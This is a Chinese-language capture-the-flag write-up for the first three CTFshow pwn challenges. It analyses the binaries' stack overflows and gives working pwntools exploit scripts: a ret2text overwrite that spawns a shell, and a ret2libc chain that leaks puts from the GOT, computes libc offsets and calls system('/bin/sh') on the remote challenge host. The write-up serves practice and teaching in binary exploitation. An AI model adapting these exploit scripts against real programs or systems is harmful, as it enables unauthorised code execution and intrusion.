CTFshow pwn 01~03
pwn 签到题
nc 连上就有flag
pwn 02
简单的ret2txt
先检验一下文件
是32位文件
且只有堆栈不可执行保护
checksec 结果可参考checksec
在ubuntu上运行
存在栈溢出
用IDApro 32位 打开
首先看main函数
那么接着跟到pwnme函数
可以看到buf只有9个字节 而fgets读入了50个字节,所以就导致了栈溢出
进入char s
可以看到从第一个s开始输入只需输入9+4=13个脏数据
然后加上ret要返回的/bin/sh的地址即可得到shell
需要找到/bin/sh
发现了stack函数 所以只需要将ret指向stack函数首地址即可得到shell
故exp:
from pwn import * content = 1 def main(): if content == 0: p = process("./stack") else : p = remote("pwn.challenge.ctf.show",28137) payload = b'a'*13 payload += p32(0x804850F) p.sendline(payload) p.interactive() main()
运行得到flag
pwn 03
ret2libc
同上
堆栈不可执行
拖入IDA,先看main函数
再看pwnme
存在栈溢出 进入s
需要输入9+4=13个脏数据 然后ret指向shellcode "/bin/sh"
但是程序里没有system函数,无法直接调用
这个时候就涉及到plt表和got表了 程序执行后,plt表里是got表的地址,got表是函数的真实地址 程序还未执行时,got表里还是plt表的地址 我们需要泄漏got表里的地址,由于开启了ASLR,本地和远程的地址不一样 但也只是针对于地址中间位进行随机,最低的12位并不会发生改变 也就是我们需要获取到远程环境的函数的真实地址 进而判断libc的版本,计算泄漏的函数got表的地址与system的偏移,然后获取到system函数的真实地址,进而计算system函数与/bin/sh的偏移,最终getshell
我们利用puts函数来进行这一步
exp:
from pwn import * content = 1 def main(): if content == 0: p = process("./stack1") else: p = remote("pwn.challenge.ctf.show",28169) elf = ELF("./stack1") puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] payload = b"a"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload) p.recvuntil('\n\n') get_addr = u32(p.recv(4)) print(hex(get_addr))
运行脚本
然后到libcsearch网站 libc database search
输入puts 和 得到地址的后三位
找到对应libc
进入得到偏移信息
最终exp:
from pwn import * content = 1 def main(): if content == 0: p = process("./stack1") else: p = remote("pwn.challenge.ctf.show",28109) elf = ELF("./stack1") puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] payload = b"a"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload) p.recvuntil('\n\n') get_addr = u32(p.recv(4)) print(hex(get_addr)) libcbase = get_addr - 0x067360 system_addr = libcbase + 0x03cd10 bin_sh = libcbase + 0x17b8cf payload = flat([b'A'*13,system_addr,b'AAAA',bin_sh]) p.sendline(payload) p.interactive()main()
运行脚本得到flag
原文地址:https://www.cnblogs.com/z1ek34r/p/15007061.html
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 【tcl学习】vivado write_project_tcl
- 你不知道的LinkedList(一):基于jdk1.8的LinkdeList源码分析
- SAP CRM Application Extension Tool(AET)扩展字段的渲染原理
- 使用nodejs将SAP Fiori应用置于本地Launchpad运行
- 使用nodejs运行SAP Fiori应用
- JUnit 注解@Category的工作原理
- JUnit 注解@RunWith的工作原理
- Java|快速掌握java判断语句的用法
- Oh!老伙计,提高自己的并发技能,先从锁优化开始吧
- iOS开发之WidgetKit
- 六、玩转Git三剑客-初识GitHub
- Python|自制二维码生成器
- HBase豆知识
- github 访问ping不通的解决办法
- Python基础之模块_包